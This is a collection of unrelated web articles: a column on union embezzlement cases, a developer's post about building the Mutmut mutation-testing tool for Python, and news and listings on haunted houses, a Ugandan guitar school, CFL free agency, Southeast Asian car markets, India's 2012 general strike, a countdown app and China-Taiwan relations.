-Remember why unions were formed in the first place — to protect workers from being taken advantage of?  Nowadays, the rank-and-file mostly need protection from their own leadership.  Daniel Hughes, former head of the Field Supervisor Association representing Port Authority workers, pleaded guilty in Brooklyn federal court this week to looting $300,000 in members’ dues over five years.  The union heavyweight allegedly used the money for Queens hotel trysts with hookers, casino getaways and high-priced dinners.  A rare occurrence? Hardly.  Last May, ex-Central Labor Council boss and former Queens Assemblyman Brian McLaughlin was sentenced to 10 years for embezzlement — including from the electricians union he once ran.  Other examples abound. A not-exhaustive rap sheet — partly tracked by the DC-based National Legal and Policy Center — includes:  * Aug. 5, 2009: Michael Forde, ex-head of the city’s District Council of Carpenters, was hit with a 29-count indictment for taking bribes from members — in exchange for allowing them to avoid mandatory contributions to their pension funds. Forde beat similar charges several years before.  * Feb. 11, 2010: Anthony Rumore, ex-president of Scarsdale’s Teamsters Local 812, pleaded guilty in federal court to making false statements related to extorting free labor out of his membership.  * Feb. 16, 2010: Thomas Pokrywczynski, former secretary-treasurer of Buffalo-area Amalgamated Transit Union Local 1342, pleaded guilty in federal court to theft of $254,000 in union funds.  * Feb. 17, 2010: Melissa King, former benefits administrator of the “Sandhogs” tunnel-digging union, was indicted for embezzling some $40 million from three benefit funds she oversaw.  * April 21, 2010: Wayne Mitchell, ex-president of Communications Workers of America Local 14170 (representing mailroom workers), pleaded guilty in a Manhattan federal court to embezzling $200,000.  * April 23, 2010: Mitchell’s immediate successor, Larry DeAngelis, pleaded guilty to stealing $60,000 from the union.  * May 11, 2010: Peter Thomassen, assistant supervisor of the above-mentioned carpenters union, resigned after a report showed huge amounts of spending on lavish parties, junkets and steak dinners. An indictment is anticipated.  An epidemic?  So it would seem.  Rank-and-file members can be forgiven for suspecting that there’s something about organized labor that attracts leadership of a criminal bent.
-Mutmut: a Python mutation testing system  Anders Hovmöller Blocked Unblock Follow Following Dec 1, 2016  Skip to “How hard can it be?” if you don’t care about the background.  What is mutation testing?  Mutation testing is a way to be reasonably certain your code actually tests the full behavior of your code. Not just touches all lines like a coverage report will tell you, but actually tests all behavior, and all weird edge cases. It does this by changing the code in one place at a time, as subtly as possible, and running the test suite. If the test suite succeeds it counts as a failure, because it could change the code and your tests are blissfully unaware that anything is amiss.  Examples of mutations are changing “<” to “<=”. If you haven’t checked the exact boundary condition in your tests, you might have 100% code coverage but you won’t survive mutation testing.  Background  I wanted to try out mutation testing for libraries I build in Python so I looked at what was available. I had some ideas for ways of radically speeding up mutation testing based on what pytest-testmon does and adding some ideas of my own on top.  Googling showed me two alternatives:  Mutpy: a simple system developed as a thesis. Not maintained anymore.  Cosmic Ray: actively developed.  Both these are Python 3 only which is a bit sad because I’m still on Python 2 for work at least for a year more. But I could live with that since the libs are Python 2 and 3.  Cosmic Ray seemed the more promising so I tried installing it but after struggling just to get the dependencies installed I decided that if it’s this hard just to install it probably won’t be practical. I looked into the code a bit to see if I could use just the mutation parts as a library but it looked to me like a big monolithic system so I gave up on that.  Next I looked at mutpy. This code is radically smaller and simpler but after struggling to refactor it in some ways to make it even simpler I thought to myself:  How hard can it be?  Turns out, not that bad! Mostly the building blocks are already available.  I decided that I absolutely wanted a feature both Cosmic Ray and mutpy lacked: being able to apply a mutation on a source file and not screw up the entire file. Cosmic Ray and mutpy use Pythons built in AST library but it has the unfortunate property of not representing formatting in the AST, making it impossible to just dump the AST back out and get the original file. So if I can’t use Pythons own AST, what then? Enter baron, an independently developed Python->AST library specifically created to be able to round trip without changing your source files. Baron doesn’t support all of Python 3 syntax yet unfortunately, but it looks like people are working on it.  [EDIT: Since this article I’ve replaced Baron with Parso and now I fully support Python 3!]  My battle plan was this:  Make a mutate function that receives source code and can mutate everything relevant (so you can get a count of available mutations) or a specific mutation specified by an index. Make an import hook so that the file you want to mutate is mutated in memory on the way from disk. This will enable parallelization. Pytest plugin that sets up the import hook and enables you to specify what mutation you want. Make a small command line program that runs through the mutations and checks the output from tests. It should also be able to apply a specific mutation on disk, so when you find an interesting one you can see very easily what the mutant was.  Point 1 was fairly easy: basically I needed to make sure all AST node types were either not mutated (because it doesn’t make sense) or mutated in the most nasty way I could think of. In this step I ran through the code of lots of big open source projects (e.g. django and numpy). I found some parse bugs in baron at this step, but nothing that impacted the code I wanted to run mutation testing on. I just reported the bugs and moved on.  Point 2 was nasty. It turns out the import hook system in python is pretty shit. The default behavior to load from the filesystem isn’t in the list of hooks because it’s in C code somewhere, so you can’t base an importer on it. That would be ok if the design was ok, but unfortunately the import hook system works like this: Python asks one import hook at a time to import the module. That sounds simple and simple is often good, but importing actually contains these steps:  Find the source file Read the source file Convert the source file from text to a runnable module  And all importers must do ALL of the steps. So the zip file importer must do the steps that are the same as the default and it can’t just call into the default loader because it doesn’t exist as python code. And it also means that if I want to intercept between step 2 and 3 on ALL importers I have to reimplement all importers.  This obviously sucks (and might not even be possible, for systems with their own custom importers), but even worse is that implementing an import hook correctly at all is a lot of nontrivial code that is a bloody beast to get right. Supposedly this is somewhat better in python 3 with importlib, so I found a backport of it to python 2 but it was broken. I managed to hack around the crashes but in the end I didn’t get my import hook working with that either. I asked for help on reddit too, to no avail.  After several hours of fighting this fight I gave up (for now) and just went with disk based mutation. It’s not great because it can’t be run in parallel but at least it works and it’s super simple. It’s also very flexible with regards to which test runner you use, since you don’t need any plugins that would have to be made for pytest, nose, unittest, etc, one by one. Giving up on this means Point 3 becomes moot, so that’s great.  Basically I should have made this thing first anyway, because it’s very good to have :P  Point 4 was pretty easy. The hardest was finding out how to nicely output continual progress updates on the console :P  So where do I stand now?  We’ve run mutmut on tri.declarative and tri.struct at work and it found several things we didn’t test as thoroughly as we thought, even though we had 100% coverage on our tests. For tri.declarative it also found a piece of dead code and an error in correctly creating a plural in an error message. It clearly improved our test suite, even though it didn’t find any bugs.  You can probably just run mutmut right now. It’s a pretty simple piece of code and for it to work with your test runner it just requires that it has an exit code of zero for success and anything else for failure. It’s pretty slow obviously since it’s not parallelized at all and it has to run the entirety of whatever test suite you specify for every mutation (and there are many!).  What’s next?  I still have some work to do. Using pytest-testmon is still on my list, as is solving the import hook system to enable parallelization. Those things alone should be able to give me orders of magnitude faster tests. The goal is to keep the super simple system I have now so that there’s always a simple to debug and adapt system that you can use for weird scenarios or debugging.  I also have some ideas for pytest-testmon like being able to keep a central database shared between developers, which could also be used for mutmut so if someone has already tried running a specific mutation for a specific version of a file, you don’t have to.  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-I♥Halloween > Haunted Houses > California Haunted Houses for Halloween 2018  Here in the Golden State, the Halloween Season offers an endless amount of fun. A popular tradition that many enjoy during the spooky season is Haunted Houses, of course! There are a ton happening all throughout California, whether you reside in San Diego, Los Angeles or up by Sacramento, there’s plenty of Haunted Houses in your area that are opening their doors for your dark pleasure. Many will start their season before October even arrives, and won’t close up shop until right after Halloween, giving you more than enough time to get your Haunted House fix!  Some haunts will feature a theme that they stick to all throughout, while others switch things up depending on the room you’re in. In this case, you won’t know what is awaiting you in the next room – it could be a killer clown, a hungry zombie or a psychotic doctor and his patients – you’ll never know until you enter! If you’re interested in taking the kiddies with you, but want less scares, some haunts feature “Not-So-Scary” days where the entire family can attend together. These usually take place on the weekends, so be sure to check the particular Haunt’s schedule ahead of time to assure you head there on the correct days. Add to the fun by checking out a haunt that offers additional Halloween activities such as Pumpkin Picking, Hay Rides, Spook Walks and Corn Mazes!  Haunted Houses Near California  I♥Halloween hopes that you have found the ideal Haunted House attractions to feed your appetite for fright this Halloween season!  Nearby Haunted Attractions  More Haunted Events & Attractions in California  Fall Farm Fun / Things To Do California  Experienced a Haunted House in California? Tell us about your experience so we can let visitors know what they can expect. If you own or operate a Haunted House and want to be published in this directory please use this contact form to get in touch.  All information on this page was believed to be accurate at the time it was posted. Always call before you go and please report any inaccuracies.  Comments  comments
-Advertisement Massachusetts Army vet using music to help kids around globe Justin D'Addario founder of "Rock 'N Roll Uganda" Share Shares Copy Link Copy  Many people dream of one day becoming a rock star and gaining international fame.A retired Army veteran from North Andover has actually done it, but you probably don't know him.Justin D'Addario is the founder of "Rock 'N Roll Uganda," a school that teaches impoverished young people to play the guitar for free.D'Addario is a retired Army combat engineer whose tour in Iraq and Afghanistan was cut short by a roadside bomb on Thanksgiving Day in 2009. When D'Addario recovered, he found he still had a desire to serve.His new mission became finding a place in the world where he could help young people.D'Addario landed in the Ugandan Capital of Kampala, at a little school called the Rainbow House of Hope.He said when the school asked what his talents were, he said he could teach English and play the guitar. "There were three of them there, and they said, 'you can play guitar?'"It turned out the school had a number of guitars in storage, and no one knew how to fix them.D'Addario taught the kids what he knew: Rock 'n Roll."The only full songs that I knew were by bands like Green Day, Bad Religion and Blink 182, D'Addario said. "They totally loved it!"A short time later, several of the students became teachers too, and would-be rockers were coming from all over.Three years later, the program has ten guitars and over 100 students D'Addario is now trying to raise the money to build an actual school.. through a GoFundMe page.He estimates it would take approximately $15,000 in U.S. currency to accomplish his goal. For more informationhttps://www.gofundme.com/yf2u2khttps://www.facebook.com/PunkRockKampala/https://www.youtube.com/watch?v=1hiCbt2nlqUhttp://crowdsurfcentral.com/articles/2016/6/2/rock-and-roll-ugandaGet the WCVB News App
-Cost of gold in 1983: $424/troy ounce  2008 inflation adj. cost: $914/troy ounce  Actual 2008 cost: $923/troy ounce  When Mr. T hit the TV scene on "The A-Team," he wore a swath of gold chains around his neck, both on-screen and off.  If T decided to cash in the raw material today, he'd make a tidy sum of $923 an ounce, which is more than double the price of gold in 1983, according to Catherine Gignac, precious metals analyst for Wellington West.  But when you adjust it for inflation, the value is about the same as it was 25 years ago, she said. So you should pity the fool who told T he'd make real money with a long-term investment.  Incidentally, Mr. T stopped wearing the gold after Hurricane Katrina, because he considered it an insult to the impoverished victims.  NEXT: Ocean's Eleven - 1960 vs. 2001
-It was, at times, puzzling — a three-ring circus without the tent — for players wearing the Double Blue in 2016.  For some members of the Toronto Argos, the puzzles turned into chaos early in 2017. First, GM Jim Barker was shoved out the door on Jan. 24. Three days later, head coach Scott Milanovich quit to become the quarterbacks coach with the NFL’s Jacksonville Jaguars.  With plenty of moving parts and not much certainty in either the football ops department or in the coaching staff, potential free agents lined up to get out the door. Three Argos – defensive back A.J. Jefferson, along with receivers Kenny Shaw and Diontae Spencer — landed with the Ottawa Redblacks.  “I would have loved to stay in Toronto, but our coach left, our GM left … I didn’t know what was going on,” explained Jefferson on Thursday. “I decided I should see what was going on in free agency. It was one of those things where it was just time for a change.”  It was a weird 2016 season for the Argos. In early October, after a 38-11 thumping at the hands of the Montreal Alouettes, the Argos dumped their three best receivers – Kevin Elliott, Vidal Hazelton and Tori Gurley. A couple of weeks before that, the Argos dealt for quarterback Drew Willy – but they paid dearly, giving up popular defensive back T.J. Heath along with first- and third-round draft picks.  “We lost some guys during the season, that was kind of upsetting to me,” said Jefferson. “It was surprising. It was the last thing I would have expected them to do. When they traded T.J., everybody was kind of, ‘It’s OK, they have a plan, they have a plan.’ In the end, I just wondered, ‘Where is this all going?’ ”  So when it came time to test the free-agent waters, on Feb. 14, Jefferson got a good feeling about the Redblacks after talking to the team’s coaches. He signed a one-year contract and is excited to be part of RNation.  “They play my kind of football,” he said. “I wanted to go to the best place where I could have success. I think I excel in man (to man pass coverage) and press man, we kind of got away from that last year in Toronto. My first year, that’s pretty much all I did. (The Redblacks) said they would give me an opportunity to showcase my talent.”  It’s been a learning curve for Jefferson since he joined the Argos in 2015 after spending time on the NFL rosters of the Arizona Cardinals, Minnesota Vikings and Seattle Seahawks. In his two CFL seasons, the 28-year-old from Bakersfield, Calif. has 91 tackles, five sacks and six interceptions.  One of those interceptions came last July 31 (in a 23-20 Argos win over Ottawa) on a gimmick play by the Redblacks, who initially lined up for a field goal attempt, but instead had quarterback Henry Burris run up behind centre Jon Gott and lob a pass intended for Zack Evans. Even with a defensive lineman as the intended target, the Argos weren’t tricked.  “They lined up in a field goal formation, then everybody split,” said Jefferson. “So they left me on the backside. I knew I had to watch the guy. But it was kind of 2-on-1. My teammate and I had the guy dealt with. He went out for a pass, it wasn’t a nice pass. It was fairly easy to get underneath it.”  A multi-sport athlete – soccer, basketball, running track, football and T-ball (“I think I played it one year — I was bored, kicking the grass”) – Jefferson said he puts plenty of work into improving what he does.  “Football was one of those things that kind of translated over from every other sport I played – catch the ball and run with it,” he said. “I look at my film from last year. Typically, I watch the games I don’t think I played well in – try to see what I can improve on. Everybody’s different. People learn differently. The things I do well, I don’t tend to work on those. The things I don’t do well, I want to get to the point where I can do everything pretty good. Then I can start working on things that I’m really good at. I’m like my own biggest critic. So I’d rather see what I’m doing wrong and correct it.”  He believes his arrow is still pointing up as he drives himself to get better.  “I’ve always been wanting to be the best at whatever I’m doing,” said Jefferson. “It’s kind of the way I grew up around my family and friends – being very competitive. Being a professional, it’s one of those things you have to do to keep your job.  Redblacks could be done spending  While there’s still a pretty impressive list of CFL free agents looking for work, it’s possible, maybe even likely, that the Ottawa Redblacks have closed their wallet.  Free-agent season, for them, may already be over.  Defensive linemen like Alan-Michael Cash, Bryan Hall, Justin Hickman, Euclid Cummings and both Moton Hopkins and Cleyon Laing from Ottawa’s Grey Cup team of 2016 are still looking for work.  Another former Redblack, offensive lineman J’Michael Deane, is still a free agent. Then there are defensive backs like Patrick Watkins, John Ojo and Cauchy Muamba.  Some of the players mentioned are looking for an NFL opportunity, for others it’ll be a matter of time. But when asked if Ottawa might get back into the free-agent fray, Redblacks GM Marcel Desjardins said: “I don’t anticipate us doing anything.”  As they say, it is what it is.
-Wintzell's Oyster House is shuttering its Huntsville store today after six years in business.  The Mobile seafood chain announced the closure Sunday on Facebook.  No one at the Sanderson Street restaurant was available this morning for an interview about the closure. Wintzell's continues to operate restaurants in Guntersville, Mobile, Saraland, Fairhope, Orange Beach, Greenville, Montgomery and Fultondale.  After careful consideration, Wintzell's in Huntsville has made the very difficult decision to close it's doors effective... Posted by Wintzell's Oyster House-Huntsville on Sunday, February 19, 2017  The closure comes three years after Wintzell's shut down its Decatur eatery on Beltline Road Southwest in the Plum Tree Shopping Center. Thirty-five Wintzell's employees were left jobless less than two weeks before Christmas.  Sam's Sports Grill now operates in the former Wintzell's space.  AL.com will update this story as more details are available.
-BANGKOK/JAKARTA -- For automakers, Southeast Asia means Indonesia and Thailand.  Impending Thai auto subsidies have manufacturers from across the globe scrambling to set up shop. Indonesia, meanwhile, is a huge market with plenty of room to grow.  The entire region has promise. But capturing a piece of these two markets could allow an automaker to lay the foundations for future regional expansion.  "Since the Mazda 2 [called the Demio in some markets] is a highly competitive model globally," said Yuji Nakamine on Nov. 6, "it will make a big contribution to the growth of the Thai automobile industry as an export model." Nakamine, senior managing executive officer of Mazda Motor, was at a ceremony in Thailand marking the beginning of production of the car there.  Initial production of cars for export to Australia began in mid-September at Auto Alliance (Thailand), a 50-50 joint venture with U.S. automaker Ford Motor in the southeastern province of Rayong.  To begin mass production, Mazda took over passenger car production lines from Ford with a view to raising annual output capacity to 120,000 units, up from 50,000. Sales in Thailand and neighboring countries are due to begin early next year. Total investment costs in the Mazda 2 factory were 12.6 billion baht ($383 million). "We are investing so big because we aim to build Thailand into our global export hub," Nakamine said.  Helping hand  The Mazda 2 will be eligible for tax benefits under Thailand's program to promote fuel-efficient, low-cost small cars. The companies that benefited from the first phase of the government program, which began in 2007 and ran through 2012, were Toyota Motor, Honda Motor, Nissan Motor, Mitsubishi Motors and Suzuki Motor -- all Japanese. Nine models, including Nissan's March, which in March 2010 began rolling off production lines, achieved combined sales of 500,000 units. The cumulative total of cars that were built, including exported vehicles, came to more than 1 million.  Nissan shifted production of the March from Japan to Thailand during the subsidy program. It has remained there since, and the car is exported from the Southeast Asian nation to the rest of the world, including Nissan's home market of Japan. It was the first time for Nissan to produce a major model overseas for export back home. Critics worried whether Thai workers could turn out quality cars. But no longer. The export base has been a success.  Among Japanese automakers with production bases in Thailand, Mazda was the only one to miss out on the first round of subsidies. So when the government unveiled Phase 2 of its program for eco-friendly cars, Mazda was determined to be the first to get preferential treatment.  Japanese automakers have company this time round. General Motors and Ford Motor of the U.S., Gremany's Volkswagen and SAIC Motor-CP, a joint venture between Shanghai Automotive Industry and Thai conglomerate Charoen Pokphand Group, are all expected to apply for tax breaks.  Subsidies will be available for cars with gas engines of 1.3 liters or less, and those with diesel engines of up to 1.5 liters. The cars also have to get a fuel efficiency of at least 23km per liter of fuel to qualify.  Manufacturers are expected to invest at least 6.5 billion baht in facilities for subsidy-compliant cars. They must also ramp up output to at least 100,000 units annually within four years. If all conditions are met, the government will reduce or eliminate such charges as corporate tax, import tariffs on facilities and components, and excise tax.  The five Japanese automakers that qualified for the first round of benefits positioned Thailand as a launchpad for exporting low-priced small vehicles worldwide.  Ford and GM are expected to do the same when the next phase kicks in. GM has a Thai plant, built in 2000, that is capable of turning out 130,000 vehicles a year. Outside of its joint venture with Mazda, Ford has a plant that began operations in 2012 and can build 150,000 vehicles a year. SAIC Motor-CP opened a factory in June with an annual capacity of 50,000 vehicles. It aims to build one more facility, which will add another 200,000 vehicles to capacity. Volkswagen does not have factories in Thailand but is considering setting up a plant to produce eco-friendly cars there.  Glut feeling  Thailand's auto market may soon have an overproduction problem. Still, manufacturers are undeterred; Southeast Asia is one of the world's most promising growth markets.  Six major Southeast Asian nations -- Thailand, Indonesia, Malaysia, the Philippines, Vietnam and Singapore -- saw combined new car sales rise 70% over the five years through 2013, to 3.56 million vehicles. The combined market is larger than that of Russia, which in 2013 had sales of 3.04 million vehicles, India's 3.24 million, and close to Brazil's 3.77 million.  The Association of Southeast Asian Nations "has a population of 600 million people and a growing middle class, and very low vehicle density," said Matt Bradley, president of Ford Asean. "That will make Asean one of the largest buying populations in the world." Sometime in the next five years, he added, Asean will hit 5 million sales annually.  Two characteristics define the Southeast Asian auto market: its importance for meeting demand at home and abroad, and the dominance of Japanese companies.  Thailand is home not only to automakers, but also to a number of parts and materials suppliers, reflecting its growing importance as an export hub. Indonesia, meanwhile, with a population of 250 million, has a great deal of domestic demand to satisfy. The two nations make up more than 70% of the regional market.  Japanese vehicle sales in Asean have outstripped regional market growth. Japanese producers have a combined 89% share of Thailand's auto market and 95% of Indonesia's. European, U.S. and other automakers need to figure out how to take share from Japanese manufacturers.  Non-Japanese companies are working on doing just that. In Indonesia, which is set to overtake Thailand to become Southeast Asia's top auto market this year, GM has constructed a plant with an output capacity of 40,000 vehicles a year at a cost of $150 million. Production at this plant, in Bekasi, on the outskirts of Jakarta, commenced in mid-2013. It turns out a family-friendly, small crossover utility vehicle, the Chevrolet Spin. The price of the seven-seat vehicle starts at 150 million rupiah ($12,300), about the same price as the mainstay model of Toyota's Avanza, Indonesia's top-seller.  Ford earlier this year launched a small SUV, the EcoSport, in addition to its popular compact Fiesta in Indonesia. The EcoSport is designed to appeal to young consumers and sells for 200 million rupiah to 300 million rupiah.  Tata Motors, which in 2012 formed a subsidiary in Indonesia, last year released the small hatchback Vista, SUV Safari Storme and crossover Aria. At the Indonesia International Motor Show in Jakarta in September, the Indian company displayed its Zest sedan, which had just hit the Indian market. Tata is considering selling the car in Indonesia.  "We will continue to introduce new models and create a new market," said Biswadev Sengupta, president director of Tata Motors Distribusi Indonesia.  Extra space  Statistics on car ownership highlight the growth potential of the Thai and Indonesian markets. In Thailand, one out of five people owns a car; in Indonesia, one in 60. By contrast, there is one car per 1.3 people in the U.S. and one per 1.7 in Japan.  Moreover, Asean plans to create a single market in late 2015. This should add further impetus to auto and auto parts exports within the region, and facilitate production and marketing. The Asean Economic Community is expected to simplify procedures for foreign companies wanting to set up shop in countries in the region.  Despite the promise, automakers face significant challenges. Volkswagen, which had planned to break ground on a plant in Indonesia earlier this year, put off the move until 2015 or later as the rupiah depreciated. Non-Japanese companies have also yet to create robust sales and service networks, which will likely limit their reach for potential customers.
-March 1, 2012  TENS OF millions of workers took part in a one-day general strike in India on February 28 in the country's largest industrial action since its independence in 1947.  This is the first time that India's main trade union federations, which are all affiliated to one or another political party, have come together to protest "neoliberal economic and labor policies" pursued by the United Progressive Alliance (UPA), the governing coalition led by the Congress Party. The action was also supported by more than 5,000 independent unions.  This reveals two important things about India that are usually forgotten by the Western media.  First, India is not merely a seething mass of desperation, composed of peasants and the abject poor. It has a massive working class with organizations that are capable of bringing out large forces. Second, the economic realities of neoliberal growth do not go unchallenged indefinitely. Even in the places where the vice grip on workers has been tightened to extreme levels, people find a way to fight back.  Participants in India's largest-ever general strike march in Hyderabad  Among the demands that the unions made were the establishment of a national minimum wage, the end of temporary employment (what are called "contract laborers" in India) in favor of permanent jobs, more efforts to curb runaway inflation (the official rate is hovering at around 7.5 percent), guaranteed pensions, and an end to the privatization of publicly owned companies.  The banking and insurance sectors were hit hardest by the strike, but other workers, including dockworkers, postal workers and transportation workers, were heavily involved. The coordination of a national strike on this scale marks the beginning of a new stage in the confrontation between labor and capital in India, as the benefits of India's boom has produced an economy in which the benefits accrue to the few at the top.  Despite threats from the central government and a last-minute offer to negotiate, the strike took place and brought out millions.  In Kerala, the state government threatened workers with a "dies non" order (no work, no pay), while in other places like New Delhi, the government attempted to enforce the Essential Services Maintenance Act (ESMA) to force workers in industries like power generation back to work. In West Bengal, members of Chief Minister Mamata Banerjee's Trinamool Congress (TMC) party also attacked and injured strikers.  FOR THE past decade, India has been the darling of the economic pundits globally, with massive growth rates and a burgeoning middle class whose consumptive powers have fuelled the national mythology of "India Shining." According to current estimates, the Indian economy grew at around 7 percent last year and is projected to grow again at a similar rate in 2012.  At the same time, the benefits of that growth have been massively skewed. As Katherine Boo's new book, Behind the Beautiful Forevers, demonstrates, the growth of the Indian economy has happened at the same time as the growth of its underclass.  Mumbai, the symbol of India's new economic power and famous for its massive film industry, is now commonly referred to as "Slumbai"--more people live in slums in Mumbai than don't. Many of these slum dwellers work in the hyper-exploitative informal economy--if they work at all.  Agricultural reforms implemented in the past 20 years have immiserated people in the countryside. Last year alone, there were more than 15,000 farmer suicides as a result of indebtedness and bad harvests. Desperate farmers then migrate to the larger cities and towns where they form the massive reserve army of the unemployed, which drives down wages.  The national strike was a response to these conditions and the pinch that workers are feeling throughout the country. Last year, there were some spectacular job actions at places like the Maruti Suzuki auto plant in the Delhi suburb of Gurgaon, where workers fought a pitched battle for wages and occupied the factory for almost two weeks.  At the same time, the official line of the Congress Party-led government and Prime Minister Manmohan Singh is that neoliberal economic policies are going to continue. At the heart of the fight with the unions is the controversial pensions bill now before parliament, which would tie workers' retirement benefits to market-driven financial instruments and put employee retirements in jeopardy.  But also at issue are Singh's plans to sell off major state holdings in order to finance repayments on international loans and budget deficits. Singh did, after all, cut his teeth as the economic architect of India's neoliberal reforms, which began to be implemented when he was the finance minister under former Prime Minister P.V. Narasimha Rao.  All this puts twin pressures on unionized workers in India. On one side is the threat of being pushed into the growing underclass, which labor is trying desperately to unionize. The other peril comes from neoliberalism and the attack on union rights. This has produced the conditions for greater worker militancy in India.  However, this confrontation between labor and capital in India will not be decisive. To start with, the unions have only put forward a tentative one-day strike, with a long and vague list of demands. Moreover, the official trade unions are all connected to various political parties, and these massive days of protest are usually connected to political gamesmanship that the parties play against one another.  The unions at the head of the strike were led by the official left in India, which is still dominated by Stalinist and Maoist political organizations. So in India, there is the All-India Federation of Trade Unions (run by the Communist Party of India Marxist-Leninist (CPI-ML) Janashakti faction), All India Central Council of Trade Unions (dominated by the CPI-ML Liberation faction), All India United Trade Union Center (run by the Socialist Unity Center), the All India Trade Union Congress (run by the Communist Party), the Center of Indian Trade Unions (controlled by the Communist Party of India-Marxist) and the United Trade Union Congress (run by the Revolutionary Socialist Party).  Since many of these parties are no longer revolutionary, they tend to play a dampening role on the class struggle, rather than developing it.  This isn't to say that workers don't fight back. They do, but the unions do their best to limit their struggles. In 2006, there was an attempt to form a federation of Independent Trade Unions called the New Trade Union Initiative, which holds out some of the best possibilities for an independent trade union movement in India. Many of these unions also participated in the recent one-day action.  Second, there are also reactionary trade unions, like the Hindustan Mazdoor Sabha run by the right-wing Bharatiya Janati Party (BJP), and the Bhartiya Kamgar Sena, run by the ultra-right-wing Shiv Sena. Both of these unions also participated in the strike, largely because the leftist unions kept the slogans vague enough that the right wing could use the one-day strike as cover for purported populist politics.  Part of the reason that the right and the left were able to come together (as they have in the past, under the Janata Party government in the 1970s) is because they are both now in the opposition to the Congress Party's UPA coalition that runs the central government.  In fact, despite agreeing early on to support the strike, the Indian National Trade Union Congress (INTUC, run by the Congress Party) withdrew after the party leadership put substantial pressure on it. "The strike is politically motivated and illegal. We will oppose it on Tuesday," said Ashok Chaudhary, the national president of the INTUC.  But this alliance between left and right can only be temporary and opportunistic, as the BJP and Shiv Sena are both pursuing neoliberal policies in the states of Gujarat and Maharashtra respectively, where both play much larger regional roles. The left-right labor alliance is also dangerous, since the right wing has not been shy about stoking up ethnic and communal hatred in times of economic contraction.  PART OF the reason that the strike took place in as spectacular a way as it did was because the traditional left was routed at the polls in the last elections.  During the time that the left was in power in places like Kerala, Tripura and West Bengal, they were able to play a dampening role on industrial actions. But once they were removed from office, they found it possible to allow the discontent of their members to be expressed in order to embarrass the current government. But only to a point: Too much worker militancy threatens their own ability to contain mass anger. Indeed, these parties have, in the past, used their ability to keep a lid on struggle to lure capital investment to their economically impoverished states.  Thus, in those traditional leftist strongholds, the strike was strongest, and it went beyond industrial work stoppages to actually disrupt traffic and business in major cities. In other places, such as Tamil Nadu, Rajasthan, and Karnataka, the effects of the strike were not as strongly felt.  But the most significant showdown was clearly in West Bengal, where Chief Minister Banerjee attempted to flex her muscle against what she called "the politics of bandhs" (protests that shut downs entire cities). Having recently beaten the Communist Party of India (Marxist) at the polls, Banerjee is now in the position of having to do the bidding of large capital, despite having organized strikes and bandhs herself in the past.  In Kolkata, the police were out in droves, attempting to get people back to work, while Banerjee's TMC party sent many of its members to break up rallies and pickets throughout the city.  Ironically, Banerjee came to power on the basis of an electoral backlash against the CPM when it tried to raze entire villages in order to make way for a manufacturing campus in the countryside for industrial giants like Tata Motors. Now, Banerjee is doing the work of the same capitalists she claimed to oppose--an opportunistic about-face that will only expose her to greater challenges.  What the general strike reveals is that although working-class anger at the economic and political system in India is growing, the major left parties have been unable to deliver anything but symbolic and token changes in their lives.  The general strike revealed that the working class in India is quite large and has muscle. But to take the struggle forward, workers will need new forms of political and union organization.
-Never forget an occasion with Countdown 24/7! Count down in months, weeks, days, hours and minutes to the big day. Organise your events by category, customize them with your own photos and stay updated with a stunning widget for your home screen.  TRACK & MANAGE YOUR EVENTS  Create unlimited categories to sort all your events, see events that have passed and sort using a variety of handy filters – perfect if you have lots of occasions coming up!  STAY UPDATED. STAY EXCITED!  Keep the excitement real, even if your event is months away! Countdown 24/7 counts down by months, weeks, days, hours and minutes. Set reminders and use our beautifully designed home screen widget to keep your most important countdowns visible all the time.  CUSTOMIZE YOUR COUNTDOWNS  Using wallpapers and your own photos, you can customize each countdown to give it a personal touch. Going on holiday? Why not use a previous holiday picture as the countdown image to get you in the spirit?  TELL THE WORLD!  So excited you can’t contain yourself anymore? With Countdown 24/7 it only takes a couple of taps to share your countdown with your social network or friends.  ********* COUNTDOWN 24/7 FEATURES *********  - Manage your countdowns with unlimited categories  - Add recurring events  - Import events directly from your calendar  - Customizable home screen widget  - Stunning countdown clock mode  - Full iCloud support – sync across devices and save them on the Cloud  - Historical events have their own category to keep your countdowns organised  - Share countdowns to your friends & family  - Count down in months, weeks, days, hours or minutes  - Set reminders for events  **************************  Subscriptions & Terms  **************************  The usage of the Countdown Timer app requires a valid subscription.  The subscription is starting with 7 days of FREE trial, without any charge during the trial period. Cancel anytime.  The subscription is monthly ($1.99) subscription (Prices are in USD).  Free trial automatically converts to a paid subscription unless canceled at least 24-hours before the end of the trial period.  Payment will be charged to iTunes Account at confirmation of purchase.  All subscriptions automatically renew if it is not cancelled within 24 hours before the end of the current subscription period. Your account will be charged for the next subscription period up to 24 hours prior to the current subscription expiring. It is not possible to cancel an existing in-app subscription. You can disable the automatic renewal function at any time by adjusting your account settings.  Privacy Policy and Terms of Use: https://www.facebook.com/inturnexstudios/posts/2097477103637876  Try Countdown Timer for Free!
-BEIJING (Reuters) - China said on Monday that “diehard” independence supporters in Taiwan and Hong Kong were seeking to link up to hatch separatist plots, but that they would never succeed.  Pro-independence protesters carry placard and flags during a pro-democracy march on the day marking the 19th anniversary of Hong Kong's handover to Chinese sovereignty from British rule, in Hong Kong in this file photo dated July 1, 2016. REUTERS/Bobby Yip  Dozens of pro-Beijing lawmakers walked out of the Hong Kong legislature last Wednesday to prevent the swearing-in of two pro-independence activists, setting the scene for a new constitutional crisis in the Chinese-controlled city.  Asked about the case the following day, Chiu Chui-Cheng, spokesman for Taiwan’s Mainland Affairs Council, said the two had been directly elected and called on China and Hong Kong to respect the will of the public.  China’s Taiwan Affairs Office said on Monday the “one country, two systems” model for Hong Kong had been fully implemented since the former British colony returned to Chinese rule in 1997, receiving widespread support in Hong Kong and internationally.  “We resolutely oppose the Taiwan authority meddling in and interfering with Hong Kong’s implementation of ‘one country, two systems’ and words and actions that damage Hong Kong’s prosperity and stability,” it said in a statement.  “Diehard Taiwan independence elements on the island and Hong Kong independence elements are colluding with each other, making futile attempts to split the country.  “This will certainly be opposed by compatriots on both sides of the Taiwan Strait and in Hong Kong and cannot succeed.”  Ray Wong of the “localist” group Hong Kong Indigenous also visited Taiwan last week. The topic of independence has long been taboo in Hong Kong.  China considers self-ruled Taiwan a wayward province and has never renounced the use of force to bring the island under its control after defeated Nationalist forces fled there at the end of a civil war with the Communists in 1949.  Relations between China and Taiwan have worsened since the election of Tsai Ing-wen from the pro-independence Democratic Progressive Party as Taiwan president in January.
